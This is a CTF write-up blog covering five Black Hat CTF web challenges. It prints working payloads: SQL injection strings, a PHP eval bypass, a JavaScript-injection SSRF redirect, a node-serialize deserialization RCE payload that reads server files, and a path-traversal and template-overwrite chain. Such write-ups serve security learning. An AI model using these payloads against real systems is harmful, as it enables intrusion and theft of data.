> For the complete documentation index, see [llms.txt](https://khalid-emad.gitbook.io/black-hat-ctf-web-challenges/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://khalid-emad.gitbook.io/black-hat-ctf-web-challenges/black-hat-ctf-writeups.md).

# Black Hat CTF Writeups

#### Welcome again hackers, today I'll share the approach taken for solving web challenges at black hat CTF ... so without further ado let's dive in

<figure><img src="/files/tOpFYwvkKhrMVFbDikLf" alt=""><figcaption></figcaption></figure>

### Spatify ( Web - Easy )

Although this was an easy challenge but it took us too much time and effort to solve it.

When we first open the challenge we see this search panel :&#x20;

<figure><img src="/files/Awe11C32prtt9UVdPDd5" alt=""><figcaption></figcaption></figure>

Using normal SQL injection payloads like `' or 1=1-- -;` , `" or 1=1-- -;` , `' or 1=1#;` didn't work .\
Performing directory search we see `robots.txt` that revealed hidden admin panel :&#x20;

<figure><img src="/files/n6ABTg2MHCgUGmvAQvSa" alt=""><figcaption></figcaption></figure>

Trying all authentication bypass on this panel did not work , Until we figured out that it maybe returning the results in the search bar using keywords like `like` so to match one character we can use `%`&#x20;

<figure><img src="/files/ACIIYKaEaoKy6y9IyXKX" alt=""><figcaption></figcaption></figure>

Now we want to get all records , so if we typed only `%` it will through us an error to write 5 characters so by typing `%%%%%` :&#x20;

<figure><img src="/files/fRXPoxoiIpSIiTxSDYfX" alt=""><figcaption></figcaption></figure>

We got all the records ! opening the source reveals the password and then we can easily login to the admin panel :&#x20;

<figure><img src="/files/x5RDzN69EYbVyrTWdKsP" alt=""><figcaption></figcaption></figure>

### peeHpee ( Web - Easy )

When we first open the challenge we see a normal login page&#x20;

<figure><img src="/files/EPMBqSpug5xhbLGkLIeB" alt=""><figcaption></figcaption></figure>

The actions that could be taken here are many, like trying auth bypass or create an account or common credentials ... etc , However the first thing i'd like to do is to see the source code :&#x20;

```
<!-- Check /?source= for the source code -->
```

We see this hint in the source, by providing this parameter we get the source code :&#x20;

```php
<?php
//Show Page code source
if(isset($_GET["source"])){
    highlight_file(__FILE__);
}
// Juicy PHP Part
$flag=getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_POST["email"])&&isset($_POST["pass"])){
        if($_POST["email"]==="admin@naruto.com"){
            $x=$_POST["test"];
            $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
            if($inp==="SuperSecRetPassw0rd"){
                die("Hacking Attempt detected");
            }
            else{
                if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){
                    echo $flag;
                }
                else{
                    die("Pretty Close maybe ?");
                }
            }

        }
    }
}
?>
```

Let's see what is going on :&#x20;

* First it checks for the request method - should be POST - .
* It then takes 2 post parameters email and password the email value should be `admin@naruto.com`&#x20;
* A variable called x is declared and gets it's value from post parameter called **test**
* an additional check is applied to the password as it removes any non alpha-numerical character and the new value gets stored in a variable called `$inp` .
* If the value of `inp` contains the value `SuperSecRetPassw0rd` directly then it will not work, but if it - somehow - equals the value of `SuperSecRetPassw0rd` it will echo the flag .

So here is the work, how could we get into the admin account without giving the parameter `password` the correct value ? \
`$x=$_POST["test"];` if we noticed, this variable did not appear again in the code, but it is here for a reason right ? so we can assign the value of the password to the post parameter **test** as follow : <br>

<figure><img src="/files/mYZ4k8vk4Uf8UZeOy79Q" alt=""><figcaption></figcaption></figure>

The value will be reflected to the variable `x` , we can now assign the value of the post parameter `password` to be `$x` :&#x20;

<figure><img src="/files/kQe6NcOAh1p1GGtBt4Hg" alt=""><figcaption></figcaption></figure>

And this will work :&#x20;

<figure><img src="/files/4XoUnhtmnZjZhlxX50XZ" alt=""><figcaption></figcaption></figure>

### Meme Generator ( Web - Medium )

<figure><img src="/files/qVldlgavGVow1OM7kLPz" alt=""><figcaption></figcaption></figure>

When we first open the URL we see a fancy meme generator that takes the search engine and the search query as an input, in the right bottom we see a button the gives us the source code :&#x20;

```
import utils
from flask import Flask, render_template, request
import os
import html

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/generate", methods = ["POST"])
def generate():
    search_engine = request.form.get("search_engine")
    query = request.form.get("query")
    if not (search_engine and query):
        return "", 400
    utils.take_screenshot(search_engine, query)
    utils.make_meme()
    return "", 200

@app.route("/source")
def source():
    with open(__file__, "r") as f:
        return f"<pre><code>{html.escape(f.read())}</code></pre>", 200

@app.route("/flag")
def flag():
    # TODO: Fix typo
    if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
        return os.getenv("FLAG"), 200
    return "Nice try", 200

app.run("0.0.0.0", 8080)

```

**The `/api/generate` route :**

It takes the search engine and query search as post parameters and then uses the function `take_screenshot` , I searched for public exploits for this function but no luck .

**The `/flag` route :**&#x20;

It checks if the request made to this endpoint was done from the local host and the URL starts with `http://l0calhost`&#x20;

Returning to the main application to see the functionality , If I typed any thing as follow :&#x20;

<figure><img src="/files/pPOJzU1usrjgbNOpH58L" alt=""><figcaption></figcaption></figure>

We see the following result :&#x20;

<figure><img src="/files/BH7bbEqHL2kskOAkY7tt" alt=""><figcaption></figcaption></figure>

So our search query value is reflected to in the search bar , It does not search for it so we cannot for example use `file://` schema or perform a usual SSRF .

But since the value is reflected let's try some vulns like SSTI , I used this payload `{{7*7}}` but it wasn't evaluated to 49 , After trials and errors we can see that if we used the following payload : `test" + "query` the web application actually concatenates our string :&#x20;

<figure><img src="/files/ZO7GBOoRhFtYEbyN0tN3" alt=""><figcaption></figcaption></figure>

Another one -> `test" + (1+1) + "` :&#x20;

<figure><img src="/files/ptZKeMDgpBfxkKRtjCsa" alt=""><figcaption></figcaption></figure>

This confirms that our query is executed within `eval()` statement, I've tried python  functions like `dir()` , `open()` and even `type()` but none worked so i opened the source code to see if anything is happening :&#x20;

<figure><img src="/files/fbj7g12UnOWopqMIQVUG" alt=""><figcaption></figcaption></figure>

I saw this script , So now the data is being handled using javascript not python. To make sure i used JS functions like `document.write()` as follow :&#x20;

```
";document.write("<h1>Hello</h1>");"
```

And the output was : <br>

<figure><img src="/files/BUqSnOOagqmpoNFV5R4S" alt=""><figcaption></figcaption></figure>

Now for the part to get the flag, we know that any request done by the search engine will have the remote address of `127.0.0.1` which meets the first condition to get the flag, the second condition is that the URL starts with `l0calhost` , The domain `localtest.me` accepts any subdomain and will also points to local host : `l0calhost.localtest.me` === `localtest.me` .\
Finally we can render the request to the `/flag` endpoint using JS as follow :&#x20;

```javascript
";document.location="http://l0calhost.localtest.me:8080/flag";"
```

<figure><img src="/files/sllT9wtaqov3dlnHwu3g" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
We used the port 8080 here because it was the port the app running on form the source code .
{% endhint %}

### Black Notes ( Web - Medium )

When we open the challenge we see this home page :&#x20;

<figure><img src="/files/ZNJkPKVijUGfhw4Bh4zA" alt=""><figcaption></figcaption></figure>

The source code shows nothing, so let's create an account and login&#x20;

<figure><img src="/files/bTVFwbNlT0gFlr2CTla0" alt=""><figcaption></figcaption></figure>

It allows us to write notes , let's intercept the request see if any thing hidden occurs

<figure><img src="/files/yoBCj4c0AEjx13vok4WV" alt=""><figcaption></figcaption></figure>

Nothing weird except for the `notes` cookie, The decoded value of the cookie is the notes :&#x20;

<figure><img src="/files/S4Q85nyOy8UR9IPLZZrT" alt=""><figcaption><p>base64 decoded</p></figcaption></figure>

This is a pretty strange way to store the notes, however since `wappalyzer` shows us that the programming language is `node` we are dealing with **node deserialization** I've solved a similar challenge here : <https://medium.com/@kemad951/jason-tryhackme-246f3986a41d>

I used this code which will generate our payload :&#x20;

```
var y = {
rce : function(){
 require('fs').readdirSync('.').toString()
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

```

This basically will generate a payload that reads the current directory files&#x20;

Final Payload :&#x20;

```
{"notes":{"0":"test","1":"_$$ND_FUNC$$_function(){\n require('fs').readdirSync('.').toString()\n}()"}}
```

We then base64 encode it and replace it as the value of `notes` cookie&#x20;

<figure><img src="/files/I4RvvpfUn8T7toLzXjWT" alt=""><figcaption></figcaption></figure>

However there is no any result , so let's try to use `return` keyword to return the result :&#x20;

```
// Some code{"notes":{"0":"test","1":"_$$ND_FUNC$$_function(){\n return require('fs').readdirSync('.').toString()\n}()"}}
```

<figure><img src="/files/gYwogqs4mX7K4n05kXKv" alt=""><figcaption></figcaption></figure>

It worked ! But no flag here, climbing up the directory we found the flag file in the `/` directory&#x20;

<figure><img src="/files/qo9Yv8toXvp5QJvivxE7" alt=""><figcaption></figcaption></figure>

Now we can read it by just replacing the payload with : `return require('fs').readFileSync('/ranDom_fl4gImportant.txt')` :&#x20;

<figure><img src="/files/C0n8HPggPfXXXthZ1bea" alt=""><figcaption></figcaption></figure>

### Jimmy's Blog ( Web - Hard )

This was the last and the only hard challenge, It also had source code files to download.

This challenge actually was solved by my teammates as I wasn't available at the time, but let's see the approach taken.<br>

<figure><img src="/files/7VlgflnKYuT7pwRWaY7m" alt=""><figcaption></figcaption></figure>

When we open the page we see this homepage with the option to register and login, let's try to register :&#x20;

<figure><img src="/files/Qck9pGaN0jzN1RakSD5A" alt=""><figcaption></figcaption></figure>

It asks me for username and then creates a key for me using the username to be `username.key` let's see how this function operates from the source code :&#x20;

```
db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}
```

We see the database initialized and a user called `jimmy_jammy` registered with admin privileges.

We can that the register function takes the username and then gets the key from the `keys` directory to be `/dirname/keys/username.key` but since there are no validations on the username we can use path traversal to get the key for the user jimmy .

<figure><img src="/files/RHr1LuILuqZKTrL7AQZ0" alt=""><figcaption></figcaption></figure>

Now we got the access key for the user jimmy we can login easily , as it checks whether the access key for the user is correct or not .

We can see that a new option was add to us after gaining admin access :&#x20;

<figure><img src="/files/zwBkZlHnJRhGjDzjCGjt" alt=""><figcaption></figcaption></figure>

If we opened any article we see the following message :&#x20;

<figure><img src="/files/NzyvRhrQf54PmLRwZpns" alt=""><figcaption></figcaption></figure>

If we returned to the source to see what happens in the `edit.ejs` template :&#x20;

&#x20;

<figure><img src="/files/nYI3JLGHsZX24n5wke8b" alt=""><figcaption></figcaption></figure>

We see that it actually includes the flag but why does it appears like that ? Surfing the files we see a file called `nginx.conf` :&#x20;

<figure><img src="/files/KzDembYuuA5xV5qd2Ia4" alt=""><figcaption></figcaption></figure>

What this file actually does is replacing the real value of the flag by the statement we saw , so we need a way to bypass this. Back again to the source code to see this snippet :&#x20;

```
app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})
```

In the first snippet, GET request to the route `/edit` but we can see that it applies `parseInt` to the `id` parameter , no matter what we pass it will be converted to integer leaving no room for file inclusion.&#x20;

In the second one, POST request to the same route but this time the id parameter is not parsed which would allow us to overwrite files right ? so for example :&#x20;

`?id=../views/navbar.ejs` would allow us to overwrite the navigator template and then we can include the flag using the template notation -> `<%= %>`&#x20;

&#x20;

<figure><img src="/files/476XRyiiNB57HDOYBZaC" alt=""><figcaption></figcaption></figure>

The following request would overwrite the article template and by including the flag we expect to see it :&#x20;

<figure><img src="/files/fNVBOnwZjIrCnQImZ4sp" alt=""><figcaption></figcaption></figure>

But no, because nginx will replace the flag if it saw the flag value - The real value - so we can use `btoa()` function to base64 encode the flag so that nginx would not replace it :&#x20;

<figure><img src="/files/XMGMiVU88OTSYlP8s66Z" alt=""><figcaption></figcaption></figure>

Final Result :&#x20;

<figure><img src="/files/vwcAO3Pqu4gEpXa4nerc" alt=""><figcaption></figcaption></figure>

#### That's all my friends I hope you enjoyed my explanation, Kudos to my teammates @ibraradi9 @Xhzeem @0xmanticore which did a great job .
